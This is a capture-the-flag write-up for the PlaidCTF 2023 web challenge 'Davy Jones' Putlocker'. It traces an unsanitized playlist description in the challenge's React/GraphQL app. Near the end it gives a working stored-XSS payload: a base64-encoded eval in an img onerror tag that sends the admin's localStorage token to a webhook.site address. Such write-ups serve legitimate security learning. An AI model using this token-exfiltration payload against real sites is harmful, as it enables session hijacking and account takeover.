PlaidCTF 2023 - Davy Jones' Putlocker - web - part 1
PlaidCTF 2023 - Davy Jones’ Putlocker - web - part 1
justCatTheFish write-up
Challenge meta
- Name: Dubs
- Solves: 67
- Reward: 350
- Description:
When I not be plunderin’ the high seas, I be watchin’ me favorite shows. Like any self-respectin’ pirate, I don’t be payin’ for my media. But I’ll be honest, this site even be a bit shady for me. (Note: PPP does not condone media piracy)
- tl;dr: easiest xss possible
- challenge files are available here
Challenge story
The website is a streaming platform where any user can create episodes, shows and playlists and later view them.
We were given following files (thanks bluepichu):
.
├── docker-compose.yml
├── misc
│ └── init.sql
├── package.json
├── packages
│ ├── client
│ │ ├── assets
│ │ │ ├── plaidplus.png
│ │ │ └── star.png
│ │ ├── Dockerfile
│ │ ├── index.html
│ │ ├── nginx.conf
│ │ ├── package.json
│ │ ├── public
│ │ │ ├── brilliant-beetle.png
│ │ │ ├── eternal-cruise.png
│ │ │ ├── mermaidsea.png
│ │ │ ├── over-the-deck-rail.png
│ │ │ └── the-seagulls-nest.png
│ │ ├── src
│ │ │ ├── apollo.tsx
│ │ │ ├── components
│ │ │ │ ├── AddToPlaylistButton
│ │ │ │ │ ├── AddToPlaylistButton.module.scss
│ │ │ │ │ ├── AddToPlaylistButton.tsx
│ │ │ │ │ └── index.tsx
│ │ │ │ ├── EnsureAdmin
│ │ │ │ │ ├── EnsureAdmin.tsx
│ │ │ │ │ └── index.tsx
│ │ │ │ ├── EnsureLoggedIn
│ │ │ │ │ ├── EnsureLoggedIn.tsx
│ │ │ │ │ └── index.tsx
│ │ │ │ ├── EpisodePanel
│ │ │ │ │ ├── EpisodePanel.module.scss
│ │ │ │ │ ├── EpisodePanel.tsx
│ │ │ │ │ └── index.tsx
│ │ │ │ ├── Footer
│ │ │ │ │ ├── Footer.module.scss
│ │ │ │ │ ├── Footer.tsx
│ │ │ │ │ └── index.tsx
│ │ │ │ ├── GenresSelector
│ │ │ │ │ ├── GenresSelector.module.scss
│ │ │ │ │ ├── GenresSelector.tsx
│ │ │ │ │ └── index.tsx
│ │ │ │ ├── Header
│ │ │ │ │ ├── Header.module.scss
│ │ │ │ │ ├── Header.tsx
│ │ │ │ │ └── index.tsx
│ │ │ │ ├── Panel
│ │ │ │ │ ├── index.tsx
│ │ │ │ │ ├── Panel.module.scss
│ │ │ │ │ └── Panel.tsx
│ │ │ │ ├── Promo
│ │ │ │ │ ├── index.tsx
│ │ │ │ │ ├── Promo.module.scss
│ │ │ │ │ └── Promo.tsx
│ │ │ │ ├── Rating
│ │ │ │ │ ├── index.tsx
│ │ │ │ │ ├── Rating.module.scss
│ │ │ │ │ └── Rating.tsx
│ │ │ │ ├── ReportButton
│ │ │ │ │ ├── index.tsx
│ │ │ │ │ ├── ReportButton.module.scss
│ │ │ │ │ └── ReportButton.tsx
│ │ │ │ ├── UpsertEpisodePanel
│ │ │ │ │ ├── index.tsx
│ │ │ │ │ ├── UpsertEpisodePanel.module.scss
│ │ │ │ │ └── UpsertEpisodePanel.tsx
│ │ │ │ ├── UpsertPlaylistPanel
│ │ │ │ │ ├── index.tsx
│ │ │ │ │ ├── UpsertPlaylistPanel.module.scss
│ │ │ │ │ └── UpsertPlaylistPanel.tsx
│ │ │ │ └── UpsertShowPanel
│ │ │ │ ├── index.tsx
│ │ │ │ ├── UpsertShowPanel.module.scss
│ │ │ │ └── UpsertShowPanel.tsx
│ │ │ ├── index.scss
│ │ │ ├── index.tsx
│ │ │ ├── utils
│ │ │ │ ├── css.tsx
│ │ │ │ ├── gql.tsx
│ │ │ │ ├── qs.tsx
│ │ │ │ └── uuid.tsx
│ │ │ └── views
│ │ │ ├── BaseView
│ │ │ │ ├── BaseView.module.scss
│ │ │ │ ├── BaseView.tsx
│ │ │ │ └── index.tsx
│ │ │ ├── CreateEpisode
│ │ │ │ ├── CreateEpisode.module.scss
│ │ │ │ ├── CreateEpisode.tsx
│ │ │ │ └── index.tsx
│ │ │ ├── CreatePlaylist
│ │ │ │ ├── CreatePlaylist.module.scss
│ │ │ │ ├── CreatePlaylist.tsx
│ │ │ │ └── index.tsx
│ │ │ ├── CreateShow
│ │ │ │ ├── CreateShow.module.scss
│ │ │ │ ├── CreateShow.tsx
│ │ │ │ └── index.tsx
│ │ │ ├── EditEpisode
│ │ │ │ ├── EditEpisode.module.scss
│ │ │ │ ├── EditEpisode.tsx
│ │ │ │ └── index.tsx
│ │ │ ├── EditShow
│ │ │ │ ├── EditShow.module.scss
│ │ │ │ ├── EditShow.tsx
│ │ │ │ └── index.tsx
│ │ │ ├── Episode
│ │ │ │ ├── Episode.module.scss
│ │ │ │ ├── Episode.tsx
│ │ │ │ └── index.tsx
│ │ │ ├── Genre
│ │ │ │ ├── Genre.module.scss
│ │ │ │ ├── Genre.tsx
│ │ │ │ ├── index.tsx
│ │ │ │ ├── ShowsPanel.module.scss
│ │ │ │ └── ShowsPanel.tsx
│ │ │ ├── Home
│ │ │ │ ├── FeaturedPanel.module.scss
│ │ │ │ ├── FeaturedPanel.tsx
│ │ │ │ ├── Home.module.scss
│ │ │ │ ├── Home.tsx
│ │ │ │ ├── index.tsx
│ │ │ │ ├── OngoingPanel.module.scss
│ │ │ │ ├── OngoingPanel.tsx
│ │ │ │ ├── RecentPanel.module.scss
│ │ │ │ └── RecentPanel.tsx
│ │ │ ├── Login
│ │ │ │ ├── index.tsx
│ │ │ │ ├── Login.module.scss
│ │ │ │ ├── LoginPanel.module.scss
│ │ │ │ ├── LoginPanel.tsx
│ │ │ │ └── Login.tsx
│ │ │ ├── Playlist
│ │ │ │ ├── index.tsx
│ │ │ │ ├── Playlist.module.scss
│ │ │ │ └── Playlist.tsx
│ │ │ ├── Register
│ │ │ │ ├── index.tsx
│ │ │ │ ├── Register.module.scss
│ │ │ │ ├── RegisterPanel.module.scss
│ │ │ │ ├── RegisterPanel.tsx
│ │ │ │ └── Register.tsx
│ │ │ ├── Show
│ │ │ │ ├── EpisodesPanel.module.scss
│ │ │ │ ├── EpisodesPanel.tsx
│ │ │ │ ├── index.tsx
│ │ │ │ ├── InfoPanel.module.scss
│ │ │ │ ├── InfoPanel.tsx
│ │ │ │ ├── RecentPanel.module.scss
│ │ │ │ ├── RecentPanel.tsx
│ │ │ │ ├── Show.module.scss
│ │ │ │ └── Show.tsx
│ │ │ └── User
│ │ │ ├── index.tsx
│ │ │ ├── User.module.scss
│ │ │ ├── UserPlaylistsPanel.module.scss
│ │ │ ├── UserPlaylistsPanel.tsx
│ │ │ ├── UserShowsPanel.module.scss
│ │ │ ├── UserShowsPanel.tsx
│ │ │ └── User.tsx
│ │ ├── tsconfig.json
│ │ └── vite.config.mjs
│ └── server
│ ├── build.mjs
│ ├── Dockerfile
│ ├── package.json
│ ├── README.md
│ ├── src
│ │ ├── auth.mts
│ │ ├── context.mts
│ │ ├── db.mts
│ │ ├── index.mts
│ │ ├── jwt.mts
│ │ ├── renderHtml.mts
│ │ ├── report.mts
│ │ ├── sql.mts
│ │ └── types.mts
│ └── tsconfig.json
├── README.md
├── tsconfig.base.json
├── tsconfig.dom.json
├── tsconfig.node.json
├── turbo.json
└── yarn.lock
Architecture overview
The front-end is written using React framework with the use of @apollo/client
(React), and the back-end is written in typescript with the use of @apollo/server
.
The apollo
libraries allow good communication between the server and the client when basing on a GraphQL database, which in the case of the challenge, was the main data source.
Challenge part
Warning! This challenge is incredibly beginner friendly, as this is a baby XSS!
Where’s the flag?
The flag can be fetched using a graphql query:
packages/server/src/index.mts
flag: async (
_: {},
args: {},
context: Context
) => {
assertLoggedIn(context);
await assertAdmin(context);
return Flag;
}
that will return the flag if those 2 conditions are satisfied:
packages/server/src/auth.mts
:
export function assertLoggedIn(context: Context): asserts context is { user: string } {
if (context.user === undefined) {
throw new Error("Not logged in");
}
}
export async function assertAdmin(context: Context & { user: string }) {
const user = await loadUser(context.user);
if (user.name !== "admin") {
throw new Error("Not authorized");
}
}
The Context
is a simple interface
packages/server/src/context.mts
:
export interface Context {
user?: string;
}
That is extracted from the authorization header.
packages/server/src/index.mts
:
startStandaloneServer(server, {
listen: {
port: 80
},
// eslint-disable-next-line @typescript-eslint/require-await
context: async ({ req }): Promise<Context> => {
const token = req.headers.authorization;
if (token === undefined) {
return {};
}
try {
const user = verifyUserToken(token);
return { user };
} catch (e) {
return {};
}
}
});
Access to admin token
We can report any url
via graphql query:
report: async (_: {}, args: { url: string }) => {
await checkUrl(args.url);
return true;
},
then the checkUrl
function will do the following:
- Throw an error if our
url
does not meet the condition:!url.startsWith("http://") && !url.startsWith("https://")
- Go to website login page and log in to an admin account
- Close the login page
- Navigate to the given
url
- Wait 10 seconds
- Close the page
A pretty standard scenario to look for XSS.
We will be able to read the flag if we manage to do either:
- Steal the
authorization
token and log in as admin - Force an admin to fetch flag query and return response to our webhook website.
We have solved it using the first way, as the token was stored in a localstorage, so it’s an easy way to access it with XSS.
// packages/client/src/views/Login/LoginPanel.tsx
localStorage.setItem("token", result.data.login);
...
// packages/client/src/views/Register/RegisterPanel.tsx
localStorage.setItem("token", result.data.register);
Finding XSS
To find the XSS it was enough to search for React’s version for setting the innerHTML
property which is conveniently called dangerouslySetInnerHTML
:
After a quick look, the user playlist panel had the playlist description, which was controlled by us,
packages/client/src/views/User/UserPlaylistsPanel.tsx
<div
className={styles.description}
dangerouslySetInnerHTML=
/>
and not sanitized by backend’s renderHtml
sanitization function, wrapping the micromark
parser library, which if not explicitly set, will do any XSS escape.
packages/server/src/renderHtml.mts
import { micromark } from "micromark";
export function renderHtml(content: string): string {
return micromark(content);
}
Show
and Episode
descriptions were sanitized:
But the playlist
’s description wasn’t, it directly called the database:
Solution preparation
Now we have everything to get the flag. Let’s create an XSS on the playlist description that will that will execute following javascript:
navigator.sendBeacon("https://webhook.site/8174d521-9d17-4770-8330-7b6018d510cb", window.localStorage.token)
Now we can btoa
our JS to make it execute on eval:
btoa(`navigator.sendBeacon("https://webhook.site/777a0f22-84c4-4e6c-8905-35bb90a187fc", window.localStorage.token)`)
// out: 'bmF2aWdhdG9yLnNlbmRCZWFjb24oImh0dHBzOi8vd2ViaG9vay5zaXRlLzc3N2EwZjIyLTg0YzQtNGU2Yy04OTA1LTM1YmI5MGExODdmYyIsIHdpbmRvdy5sb2NhbFN0b3JhZ2UudG9rZW4p'
And we have our final payload using standard img
xss, which firstly decodes the JS from base64, and eval
s it:
<img src=x onerror=eval(atob("bmF2aWdhdG9yLnNlbmRCZWFjb24oImh0dHBzOi8vd2ViaG9vay5zaXRlLzc3N2EwZjIyLTg0YzQtNGU2Yy04OTA1LTM1YmI5MGExODdmYyIsIHdpbmRvdy5sb2NhbFN0b3JhZ2UudG9rZW4p"))>
Putting all together
- Registering a new user:
- Creating the playlist with payload description:
- Verifying whether the webhook works for us by going to our users page:
as you can see, we got the token in the webhook after entering the users page, so it works on my machine, and so should work when reported the users page to the admin bot.
After the cookie is sent to us, we can make a graphql query for the flag using the admin token as authorization header.